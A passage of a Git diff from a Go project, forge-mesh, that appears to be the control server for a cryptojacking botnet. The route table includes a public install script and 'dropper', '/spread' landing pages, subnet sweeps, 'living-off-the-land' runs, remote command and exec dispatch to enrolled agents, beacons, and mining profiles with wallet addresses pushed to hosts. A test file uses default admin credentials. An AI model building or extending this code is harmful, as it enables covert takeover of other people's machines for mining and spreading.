if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
if _, ok := body["hosts"]; !ok {
|
||||
t.Fatalf("expected hosts key in %v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSTicketFlow(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, _ := config.Load(cfgPath)
|
||||
_ = cfg.EnsureDataDirs()
|
||||
conn, _ := db.Open(cfg.DatabasePath)
|
||||
defer conn.Close()
|
||||
|
||||
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
|
||||
static := fs.FS(fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}})
|
||||
|
||||
srv, _ := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
|
||||
ts := httptest.NewServer(srv.Handler())
|
||||
defer ts.Close()
|
||||
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth("admin", "changeme")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("ticket: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
t.Fatal("expected ticket")
|
||||
}
|
||||
}
|
||||
|
||||
func writeTestConfig(t *testing.T, path, dir string) {
|
||||
t.Helper()
|
||||
content := `{
|
||||
"listen_addr": ":0",
|
||||
"data_dir": "` + dir + `",
|
||||
"database_path": "` + filepath.Join(dir, "test.db") + `",
|
||||
"auth": {
|
||||
"basic_username": "admin",
|
||||
"basic_password": "changeme",
|
||||
"fleet_secret": "test-fleet-secret"
|
||||
},
|
||||
"forge": {
|
||||
"signing_key_path": "` + filepath.Join(dir, "signing.key") + `",
|
||||
"artifacts_dir": "` + filepath.Join(dir, "artifacts") + `"
|
||||
}
|
||||
}`
|
||||
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
256
internal/api/server.go
Normal file
256
internal/api/server.go
Normal file
@@ -0,0 +1,256 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"io"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/api/handlers"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/court"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// Server is the forge-mesh HTTP control plane.
|
||||
type Server struct {
|
||||
cfg *config.Config
|
||||
mux http.Handler
|
||||
staticFS fs.FS
|
||||
}
|
||||
|
||||
// NewServer wires routes, fleet hub, and static SPA handler.
|
||||
func NewServer(
|
||||
cfg *config.Config,
|
||||
db *sql.DB,
|
||||
staticFS fs.FS,
|
||||
version, installTmplPath, publicKeyHex string,
|
||||
) (*Server, error) {
|
||||
store := fleet.NewStore(db)
|
||||
_ = store.SeedDemoHost()
|
||||
|
||||
tickets := auth.NewTicketStore(5 * time.Minute)
|
||||
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
|
||||
crucible := fleet.NewCrucibleStore(100)
|
||||
|
||||
tgCfg := alerts.Config{
|
||||
Enabled: cfg.Telegram.Enabled,
|
||||
BotToken: cfg.Telegram.BotToken,
|
||||
ChatID: cfg.Telegram.ChatID,
|
||||
}
|
||||
notifier := alerts.New(tgCfg)
|
||||
|
||||
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
public.FleetSecret = cfg.Auth.FleetSecret
|
||||
public.Version = version
|
||||
|
||||
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
|
||||
filepath.Join("cmd", "agent"), version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
clearance := cfg.OperatorClearance
|
||||
fleetH := &handlers.FleetHandler{
|
||||
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
|
||||
}
|
||||
crucibleH := &handlers.CrucibleHandler{
|
||||
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
|
||||
}
|
||||
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
|
||||
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
|
||||
seerH := &handlers.SeerHandler{
|
||||
Store: store,
|
||||
Username: cfg.Auth.BasicUsername,
|
||||
Password: cfg.Auth.BasicPassword,
|
||||
}
|
||||
authH := &handlers.AuthHandlers{Tickets: tickets}
|
||||
opH := &handlers.OperatorHandler{Clearance: clearance}
|
||||
dropperH := &handlers.DropperHandler{
|
||||
DB: db,
|
||||
PublicKeyHex: publicKeyHex,
|
||||
FleetSecret: cfg.Auth.FleetSecret,
|
||||
Version: version,
|
||||
}
|
||||
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
|
||||
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
|
||||
warRoomH := &handlers.WarRoomHandler{DB: db}
|
||||
wgH := &handlers.WireGuardHandler{DB: db}
|
||||
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
|
||||
|
||||
courtSvc := court.New(db, cfg.Court, store)
|
||||
intelDeps := handlers.IntelligenceDeps{
|
||||
Store: store,
|
||||
Subnet: &fleet.SubnetMapper{Store: store},
|
||||
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
|
||||
}
|
||||
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// Public
|
||||
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
|
||||
mux.HandleFunc("GET /install.sh", public.InstallSh)
|
||||
mux.HandleFunc("GET /get", public.GetRedirect)
|
||||
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
|
||||
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
|
||||
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
|
||||
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
|
||||
|
||||
// Agent (fleet secret)
|
||||
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(fleetH.Register)))
|
||||
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
|
||||
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("ticket") != "" {
|
||||
hub.HandleDeckWS(w, r)
|
||||
return
|
||||
}
|
||||
hub.HandleAgentWS(w, r)
|
||||
})
|
||||
|
||||
// Protected (Basic auth)
|
||||
protected := http.NewServeMux()
|
||||
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
|
||||
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
|
||||
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
|
||||
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
|
||||
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
|
||||
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
|
||||
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
|
||||
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
|
||||
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
|
||||
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
|
||||
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
|
||||
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
|
||||
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
|
||||
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
|
||||
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
|
||||
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
|
||||
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
|
||||
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
|
||||
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
|
||||
protected.HandleFunc("GET /seer", seerH.Stream)
|
||||
|
||||
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
|
||||
mux.Handle("/api/v1/", authWrap(protected))
|
||||
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
|
||||
|
||||
// Static SPA (React build embedded in webroot)
|
||||
if staticFS != nil {
|
||||
fileServer := http.FileServer(http.FS(staticFS))
|
||||
mux.Handle("/", spaFallback(staticFS, fileServer))
|
||||
}
|
||||
|
||||
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
|
||||
}
|
||||
|
||||
func (s *Server) Handler() http.Handler {
|
||||
return s.mux
|
||||
}
|
||||
|
||||
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" {
|
||||
path = "index.html"
|
||||
}
|
||||
|
||||
if _, err := fs.Stat(staticFS, path); err != nil {
|
||||
// Client-side route — serve index.html
|
||||
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Write(data)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
|
||||
func SyncWebroot(distDir, webrootDir string) error {
|
||||
if err := os.RemoveAll(webrootDir); err != nil {
|
||||
return err
|
||||
}
|
||||
return copyDir(distDir, webrootDir)
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(src, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target := filepath.Join(dst, rel)
|
||||
if info.IsDir() {
|
||||
return os.MkdirAll(target, 0o755)
|
||||
}
|
||||
return copyFile(path, target)
|
||||
})
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
16
internal/api/types/build.go
Normal file
16
internal/api/types/build.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Build represents a forge-produced agent artifact.
|
||||
type Build struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Signature string `json:"signature,omitempty"`
|
||||
Public bool `json:"public"`
|
||||
Path string `json:"path,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
13
internal/api/types/campaign.go
Normal file
13
internal/api/types/campaign.go
Normal file
@@ -0,0 +1,13 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Campaign tracks Emberwake funnel tags (?c=).
|
||||
type Campaign struct {
|
||||
ID string `json:"id"`
|
||||
Code string `json:"code"`
|
||||
Name string `json:"name"`
|
||||
Pin string `json:"pin,omitempty"`
|
||||
Heat int `json:"heat"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
22
internal/api/types/host.go
Normal file
22
internal/api/types/host.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// Host represents an enrolled fleet member.
|
||||
type Host struct {
|
||||
ID string `json:"id"`
|
||||
Hostname string `json:"hostname"`
|
||||
Fingerprint string `json:"fingerprint,omitempty"`
|
||||
Phenotype string `json:"phenotype,omitempty"`
|
||||
Status string `json:"status"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
HashrateHps float64 `json:"hashrate_hps"`
|
||||
CurrentTier int `json:"current_tier"`
|
||||
TierType string `json:"tier_type,omitempty"`
|
||||
TierState string `json:"tier_state,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
MiningProfileID *string `json:"mining_profile_id,omitempty"`
|
||||
LastSeenAt *time.Time `json:"last_seen_at,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
63
internal/api/types/message.go
Normal file
63
internal/api/types/message.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// HeartbeatPayload is sent by agents over WS or beacon.
|
||||
type HeartbeatPayload struct {
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
Hostname string `json:"hostname"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
HashrateHps float64 `json:"hashrate_hps"`
|
||||
CurrentTier int `json:"current_tier"`
|
||||
TierType string `json:"tier_type,omitempty"`
|
||||
TierState string `json:"tier_state,omitempty"`
|
||||
Fingerprint string `json:"fingerprint,omitempty"`
|
||||
}
|
||||
|
||||
// SetHashrateFields keeps hashrate and hashrate_hps in sync for older clients.
|
||||
func (h *HeartbeatPayload) SetHashrateFields(hps float64) {
|
||||
h.HashrateHps = hps
|
||||
h.Hashrate = hps
|
||||
}
|
||||
|
||||
// EffectiveHashrate returns hashrate_hps when set, otherwise legacy hashrate.
|
||||
func (h HeartbeatPayload) EffectiveHashrate() float64 {
|
||||
if h.HashrateHps > 0 {
|
||||
return h.HashrateHps
|
||||
}
|
||||
return h.Hashrate
|
||||
}
|
||||
|
||||
// BeaconResponse is returned by HTTPS beacon fallback.
|
||||
type BeaconResponse struct {
|
||||
Commands []FleetCommand `json:"commands"`
|
||||
OK bool `json:"ok"`
|
||||
Profile *MiningProfile `json:"mining_profile,omitempty"`
|
||||
}
|
||||
|
||||
// WsMessage is the wire format for fleet WebSocket frames.
|
||||
type WsMessage struct {
|
||||
Type string `json:"type"`
|
||||
Host *Host `json:"host,omitempty"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
Command *FleetCommand `json:"command,omitempty"`
|
||||
Payload map[string]any `json:"payload,omitempty"`
|
||||
Timestamp string `json:"timestamp,omitempty"`
|
||||
}
|
||||
|
||||
// FleetCommand is dispatched from deck to agent.
|
||||
type FleetCommand struct {
|
||||
ID string `json:"id"`
|
||||
Action string `json:"action"`
|
||||
Args map[string]any `json:"args,omitempty"`
|
||||
IssuedAt time.Time `json:"issued_at"`
|
||||
}
|
||||
|
||||
// MiningProfileRequest assigns or updates a host mining profile.
|
||||
type MiningProfileRequest struct {
|
||||
ProfileID string `json:"profile_id,omitempty"`
|
||||
Name string `json:"name,omitempty"`
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []MiningTierSpec `json:"tiers,omitempty"`
|
||||
}
|
||||
21
internal/api/types/mining_profile.go
Normal file
21
internal/api/types/mining_profile.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// MiningTierSpec defines one step in a tiered miner chain.
|
||||
type MiningTierSpec struct {
|
||||
Type string `json:"type"`
|
||||
Duration int `json:"duration_minutes,omitempty"`
|
||||
Config map[string]string `json:"config,omitempty"`
|
||||
}
|
||||
|
||||
// MiningProfile is an ordered list of mining tiers pushed to agents.
|
||||
type MiningProfile struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []MiningTierSpec `json:"tiers"`
|
||||
PolicyFromServer bool `json:"policy_from_server"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
Reference in New Issue
Block a user